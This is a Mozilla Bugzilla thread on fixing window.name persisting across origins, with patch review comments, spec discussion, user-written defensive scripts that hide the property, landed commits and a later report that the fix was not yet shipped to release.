> >+    nsPrincipalNameTable() { NS_ASSERTION(mNames.Init(), "Out of memory?!"); 
> 
> That fails to call Init() in a non-debug build.  I'd just call Init() here and
> not worry about asserting, or use a factory constructor with init if you really
> want to be careful.

Ah, true.  I went with not worrying.

> >+protected:
> >+    ~nsPrincipalNameTable() {}
> 
> That needs to be virtual.

I suppose someone might want to subclass nsPrincipalNameTable some day, yeah.

> You're in caps/src, right?  How about #include "nsScriptSecurityManager.h" and
> then using nsScriptSecurityManager::GetScriptSecurityManager()?

Good point, discussed elsewhere.

> >+nsPrincipalNameTable::GetName(const nsIPrincipal *aPrincipal,
> >+    const nsString *name = &empty;
> 
> Why set it here if this assignment is always clobbered?
> 
> >+    *aNamePtr = ToNewUnicode(*name);
> >+
> >+    return NS_OK;
> 
> Need to handle OOM.  (This is where using an AString signature would pay
> off...)

Switched to AStrings.

> >+nsPrincipalNameTable::SetName(const nsIPrincipal *aPrincipal,
> >+        mNames.Put(aPrincipal, new nsString(aName));
> 
> Need to handle OOM.

Handling.

> >+nsPrincipalNameTable::NameEquals(const nsIPrincipal *aPrincipal,
> >+    GetName(aPrincipal, getter_Copies(name));
> 
> Need to handle GetName failure.

GetName now failure-proof.

> >+NameEnum(const nsIPrincipal *aPrincipal,
> >+    static_cast<nsIPrincipalNameTable*>(aReceiver)
> >+        ->SetName(aPrincipal, ToNewUnicode(*aName));
> 
> This leaks the string ToNewUnicode allocates.  Is there any reason not to just
> use aName->get() here?

ToNewUnicode unnecessary with nsAStrings.
Attachment #342323 - Attachment is obsolete: true
Attachment #344161 - Attachment is obsolete: true
(In reply to comment #62)
> Created an attachment (id=344541) [details]
> proposed patch

I should have changed the astrings to AStrings in nsDocShellTreeItem.idl, too, not just in nsPrincipalNameTable.idl.  Fixed in my working copy.
> I'm still using XPCOM versions of GetSubjectPrincipal and GetSystemPrincipal,
> since that's a little simpler.  Did you mean I could add non-ADDREFing
> versions of those methods to the security manager?

Yes, but either way is fine by me.

> the "caps/" part seems necessary, since caps lives in its own library.

Yes, but the Makefiles in embedding and docshell have "caps" in REQUIRES, so it's added to the include path.
So, um... what ever happened here?

I happened to be reading a bit of the Tor Browser's design doc, and it has a bit:
"window.name is a magical DOM property that for some reason is allowed to retain a persistent value for the lifespan of a browser tab. It is possible to utilize this property for identifier storage."

This seems... insane. Is this still an issue?

This bug was reported 6 years ago, had lots of progress, then just stopped 3 months later. I don't even think the people working on it work at Mozilla anymore.

Is it viable to write a new patch to implement the strategy that was in the works here? Or, now that people actually think about tracking stuff across arbitrary domains as a stupid thing to allow, can the properties just be removed entirely?
The assignee doesn't appear to be active any longer, but bzbarsky (Boris Zbarsky) is of course still very much around. (didn't notice it was him at first because his name isn't shown here at the moment) needinfo?ing for comment 65, though he's on vacation according to his Bugzilla account name.
Flags: needinfo?(bzbarsky)
Yes. Sadly this was entirely dropped on the floor.

I also think we went with an unneccessarily complex solution. Rather than having a hash based on origin, simply remember what origin set the current name, and returning an empty string to all other origins, is probably good enough.

Anne can probably help with the design here.

Sid, anyone on your team can help with finishing up the code?
Attached file quick test page
Assignee: mozilla+ben → nobody
My quick testcase in attachment 8471995 [details] tests setting window.name, window.status, window.winprop, & window.navigator.navprop then tries to load them from another page in a data uri after clicking the link. The window.name persists, however nothing else does in a current version of Firefox. In an old version of Firefox, around v10 or so, window.navigator.navprop also persists. I went all the way back to Firefox 3.0 and couldn't get window.status to persist in this test. A full test should also go between two full domains.
Even with dom.disable_window_status_change=false, Firefox 3 is fine here. It appears to just be an issue with window.name, so I'll drop ".status" from the summary.
Summary: window.name/.status can be used as an XSS attack vector → window.name can be used as an XSS attack vector
Per the HTML specification each time you cross origins, you need to reset the name of the browsing context. window.name simply reflects the browsing context name. I'll file a bug on HTML that this model is insufficient for history.

And per HTML, window.status is simply a per Window property you can get and set and is therefore linked to the lifetime and scope of the Document the Window is associated with.
https://www.w3.org/Bugs/Public/show_bug.cgi?id=26565 is the bug I filed on HTML.

(Is it time to remove dom.disable_window_status_change=false altogether? Or is that still used by enterprise or some such?)
(In reply to Anne (:annevk) from comment #72)
> (Is it time to remove dom.disable_window_status_change=false altogether? Or
> is that still used by enterprise or some such?)

See also bug 720032, bug 863339, & https://www.w3.org/Bugs/Public/show_bug.cgi?id=21823
FYI, I'm having a hard time with Yahoo! and NoScript's XSS filter just because they started using window.name as a systematic way to pass data around, including entire HTML pages:

https://forums.informaction.com/viewtopic.php?f=7&t=19992
Flags: needinfo?(bzbarsky)
HTML already stores the "browsing context name" in history. I missed this reading it last time. So I guess we can go ahead and fix this.
Perhaps it would make sense to simplify this by making the window.name property entirely unreadable to the web content (that way you wouldn't need to keep track of origins at all). My understanding is that the intended use for the property is setting targets for links and forms. Web content does not need to read this property in order to make use of that functionality.
(In reply to Chris Rider from comment #76)
> Perhaps it would make sense to simplify this by making the window.name
> property entirely unreadable to the web content (that way you wouldn't need
> to keep track of origins at all)

Did you notice comment #74? 
People (even Yahoo!) abuse window.name to pass data, and even HTML, across domain boundaries.
It will require a significant evangelization effort to stop this (nefarious) habit :(
I suspect Yahoo would change their ways pretty quickly if their method stopped working. Of course, it would be preferable to give high impact misusers advance notice that the change is coming to a specific version of FF (i.e., start in Nightly and iterate the channels each time FF is released).

I'm not saying this suggestion is necessarily the best solution, I am only adding it because it hasn't been mentioned as a possibility. I notice that some have reservations about implementing a complex solution, so I think it makes sense to point out a possibility at the other end of the spectrum. Whether it's done one way or another, I would like to see the issue addressed.
Alright, I've taken matters into my own hands. If anyone else would like to use one of my Greasemonkey solutions, below, feel free. The first one asks the user whether they want to allow read access to window.name on a case-by-case basis (user is only prompted when window.name actually contains a value, as I noticed in testing that sites that load Google scripts have an annoying habit of requesting window.name (probably for spying purposes)). The second one silently returns an empty string for read requests to the window.name property. This second version is much less likely to cause user annoyance, but may cause compatibility issues when dealing with sites that use window.name in a non-standard or unanticipated way.

The fact that Google scripts -- which are practically ubiquitous across the Web -- are accessing window.name emphasizes the danger in allowing the property to be used for non-standard purposes ... a typical Web developer using window.name for storage, either directly or via a library, probably has not considered the fact that Google is reading this storage, and that Google might inadvertently expose sensitive data to other parties as well.

Again, making window.name unreadable does not interfere with the property's intended uses -- setting targets for links and forms.



// ==UserScript==
// @name        Safe window.name
// @description Intercepts – and requires user permission for – read access to window.name property.
// @namespace   localhost
// @include     *
// @run-at      document-start
// @version     1.0
// @grant       none
// ==/UserScript==

var _=window.name;
Object.defineProperty(window,'name',{
	get:function()
	{
		if(_!=''&&confirm('This page is attempting to read the window.name property … this is likely an indication of non-standard use of the property to pass a message between different domains, bypassing your browser’s built-in same-origin security policies. Allowing read access to the window.name property could lead to a compromise of your security and privacy such as by exposing sensitive information or by enabling a vector for a cross-site scripting attack. Allow this request?'))
		{
			return _;
		}
		else
		{
			return '';
		}
	}
});



// ==UserScript==
// @name        Conceal window.name
// @description Intercepts read access to window.name property.
// @namespace   localhost
// @include     *
// @run-at      document-start
// @version     1.0
// @grant       none
// ==/UserScript==

Object.defineProperty(window,'name',{
	get:function()
	{
		return '';
	}
});
After using the first script for a few days, I've noticed that pages which read the window.name property (mostly Google sites) tend to read it repeatedly during a single page load, which made visiting offending pages burdensome. I have updated this version of the script so that the user will only be asked once per page load whether to allow access. Note that you may still be prompted more than once if there are iframes which also request window.name access. You may even be asked more than once per iframe, if the iframe is refreshed at a certain interval.



// ==UserScript==
// @name        Safe window.name
// @description Intercepts – and requires user permission for – read access to window.name property.
// @namespace   localhost
// @include     *
// @run-at      document-start
// @version     1.0.1
// @grant       none
// ==/UserScript==

var _permission=-1;

var _window={name:window.name};
Object.defineProperty(window,'name',{
	get:function()
	{
		if(_permission==-1&&_window.name!=''&&confirm('This page is attempting to read the window.name property … this is likely an indication of non-standard use of the property to pass a message between different domains, bypassing your browser’s built-in same-origin security policies. Allowing read access to the window.name property could lead to a compromise of your security and privacy such as by exposing sensitive information or by enabling a vector for a cross-site scripting attack. Allow access?'))
		{
			_permission=1;
		}
		else if(_permission==-1&&_window.name!='')
		{
			_permission=0;
		}
		if(_permission==1)
		{
			return _window.name;
		}
		else
		{
			return '';
		}
	}
});
For what it's worth, I've been using the "Conceal window.name" version of the Greasemonkey script for the last month now without any ill effects.
I've added validated whitelisting to the "Conceal window.name" version of the script in order to allow the "No CAPTCHA" reCAPTCHA to work.


// ==UserScript==
// @name        Conceal window.name
// @description Intercepts read access to window.name property.
// @namespace   localhost
// @include     *
// @run-at      document-start
// @version     1.0.1
// @grant       none
// ==/UserScript==

var _window={name:window.name};
Object.defineProperty(window,'name',{
	get:function()
	{
		//No CAPTCHA reCAPTCHA
		if(/^https:\/\/www\.google\.com\/recaptcha\/api2\/(?:anchor|frame)\?.+$/.test(window.location.href)&&/^I[0-1]_[1-9][0-9]+$/.test(_window.name))
		{
			return _window.name;
		}
		else
		{
			if(_window.name!='')
			{
				console.warn('Intercepted read access to window.name "'+_window.name+'" from '+window.location);
			}
			return '';
		}
	}
});
Tor Browser currently uses the following patch:
https://torpat.ch/16620
Whiteboard: [tor]
Whiteboard: [tor] → [tor][tor-standalone]
Whiteboard: [tor][tor-standalone] → [tor][tor-standalone][tor 16620]
WebKit landed https://trac.webkit.org/changeset/209076 which made it match the HTML Standard. This still leaks window.name in the auxiliary browsing context case, but is at least somewhat better for when you're simply browsing around.
Whiteboard: [tor][tor-standalone][tor 16620] → [tor][tor-standalone][tor 16620][parity-webkit]
The WebKit change has landed in Safari 10.1

Blink posted an Intent to Implement: https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/8uZDknA2Ua0
Whiteboard: [tor][tor-standalone][tor 16620][parity-webkit] → [tor][tor-standalone][tor 16620][parity-webkit][domsecurity-backlog1]
Priority: -- → P3
I've created a WebExtension, "Limit window.name lifetime" (attached), as a workaround until Mozilla decides how to handle this. The extension resets top-level window.name with each page load. Note this isn't signed by AMO. Released to public domain. Feel free to modify and/or publish.

This works with the following content script (note that window.eval is used because it's the only way I could find to override window.name in the desired way (documentation regarding window.eval use within content scripts: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#Using_eval()_in_content_scripts)):

window.eval('Object.defineProperty(window,\'name\',{get:function(){if(this.value!==undefined){return this.value;}else{return \'\';}},set:function(name){this.value=name;}});');
I would like to propose making window.name respect first-party isolation (privacy.firstparty.isolate).
Priority: P3 → P1
Mass bug change to replace various 'parity' whiteboard flags with the new canonical keywords. (See bug 1443764 comment 13.)
Keywords: parity-safari
Whiteboard: [tor][tor-standalone][tor 16620][parity-webkit][domsecurity-backlog1] → [tor][tor-standalone][tor 16620][domsecurity-backlog1]
(In reply to Arthur Edelstein (Tor Browser dev) [:arthuredelstein] from comment #88)
> I would like to propose making window.name respect first-party isolation
> (privacy.firstparty.isolate).

Hi arthur, I see this was promoted from P3 to P1 5 months ago, reasoning? I would suggest making it a P2, any objections?
Flags: needinfo?(arthuredelstein)
Severity: normal → major
Priority: P1 → P2
Assignee: nobody → amarchesini
Status: NEW → ASSIGNED
Blocks: 1652771
Assignee: amarchesini → tihuang
Attachment #9160018 - Attachment description: Bug 444222 - Reset window.name when the new document is cross-origin, r?smaug → Bug 444222 - Update the window.name when doing the navigation, r?smaug
Pushed by tihuang@mozilla.com:
https://hg.mozilla.org/integration/autoland/rev/0d63bc41097d
Reset window.name when the new document is cross-origin - tests, r=annevk
https://hg.mozilla.org/integration/autoland/rev/ec03ae5444a2
Add a flag 'SetHasLoadedNonInitialDocument' in the BrowsingContext. r=nika
https://hg.mozilla.org/integration/autoland/rev/99b73703fc41
Add browsing context name into SHEntry. r=smaug
https://hg.mozilla.org/integration/autoland/rev/b9293b1ffe1c
Update the window.name when doing the navigation, r=smaug,nika
https://hg.mozilla.org/integration/autoland/rev/0301da1359e0
Reset window.name when the new document is cross-origin - More tests. r=annevk
https://hg.mozilla.org/integration/autoland/rev/a2e9a24387c2
Modify tests and add a manual test for restoring window.name. r=annevk
Created web-platform-tests PR https://github.com/web-platform-tests/wpt/pull/25548 for changes under testing/web-platform/tests
Whiteboard: [tor][tor-standalone][tor 16620][domsecurity-backlog1] → [tor][tor-standalone][tor 16620][domsecurity-backlog1] , [wptsync upstream]
Upstream PR merged by moz-wptsync-bot
Regressions: 1665375
Keywords: dev-doc-needed

Hi Tim,
Can I please confirm my interpretation of what the implementation ended up as (for docs):

  • window.name is shared among all tabs/pages that use the window, meaning that any site opened in the same window can potentially access information stored in this field. This "feature" is being leveraged by frameworks for cross-domain sharing.
  • The main change is that if a page opens a document in another domain, the window.name is reset to an empty string. The new document then can't get whatever data was stored in the original.
  • There are associated changes to ensure that navigation still works - ie if a user select the original tab or navigates back then the window.name is restored.

I'm a bit confused because the original discussion was around having page-specific window names. I THINK that what has happened is that there is still a global window.name for the window, but now if a new page was created programmatically the value is cleared. However if you got back to the original page it is restored. Also if a new page was created by a user in the same window and then assigned to another domain, does it also have the window name reset.

Flags: needinfo?(tihuang)

(In reply to Hamish Willee from comment #102)

Hi Tim,
Can I please confirm my interpretation of what the implementation ended up as (for docs):

  • window.name is shared among all tabs/pages that use the window, meaning that any site opened in the same window can potentially access information stored in this field. This "feature" is being leveraged by frameworks for cross-domain sharing.

There is something inaccurate here. The window.name is for the content window, not the chrome window. So, it is only shared among pages in one tab.

  • The main change is that if a page opens a document in another domain, the window.name is reset to an empty string. The new document then can't get whatever data was stored in the original.
  • There are associated changes to ensure that navigation still works - ie if a user select the original tab or navigates back then the window.name is restored.

I'm a bit confused because the original discussion was around having page-specific window names. I THINK that what has happened is that there is still a global window.name for the window, but now if a new page was created programmatically the value is cleared. However if you got back to the original page it is restored. Also if a new page was created by a user in the same window and then assigned to another domain, does it also have the window name reset.

We follow the spec when doing the reset/restore window.name. As I mentioned above, the window.name is per content window, so pages will have separate window.name if they are in different tabs. We don't reset the window.name when there is a new page created in a different tab since it is a separate one. We only do reset/restore when we navigate in a tab. Back to your question, yes, we reset the window.name if a user navigate the content window to another domain

Flags: needinfo?(tihuang)

I'm still noticing that window.name can be used as an XSS attack vector.

My web-browser version: Firefox Browser 84.0.1 (64 bits) on Windows 10.

The attack reproduction:

  1. Open: http://www.fit.vutbr.cz/~polcak/nnnnn.html
    The window.name property is set to the value "uni".

  2. Open in the same tab: http://rover.borec.cz/
    The value of the window.name property is written on the web page and is "uni", although window.name should have been reset.

If I understand correctly, websites should not be able to share value through the window.name property. But that is exactly what I managed to achieve. Has this security bug really been resolved?

Flags: needinfo?(tihuang)

We haven't shipped this to release yet, see https://searchfox.org/mozilla-central/source/modules/libpref/init/StaticPrefList.yaml#9408. I'll file a bug on doing that since we haven't encountered any problems.

Flags: needinfo?(tihuang)
Flags: needinfo?(arthur)
Blocks: 1685089
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: